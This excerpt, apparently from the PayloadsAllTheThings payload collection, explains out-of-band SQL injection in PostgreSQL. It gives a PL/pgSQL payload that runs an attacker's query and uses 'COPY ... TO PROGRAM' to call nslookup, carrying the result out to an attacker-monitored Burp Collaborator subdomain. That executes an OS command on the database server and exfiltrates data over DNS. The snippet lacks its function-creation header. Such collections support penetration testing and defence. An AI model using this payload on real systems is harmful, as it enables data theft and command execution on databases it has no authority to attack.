Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.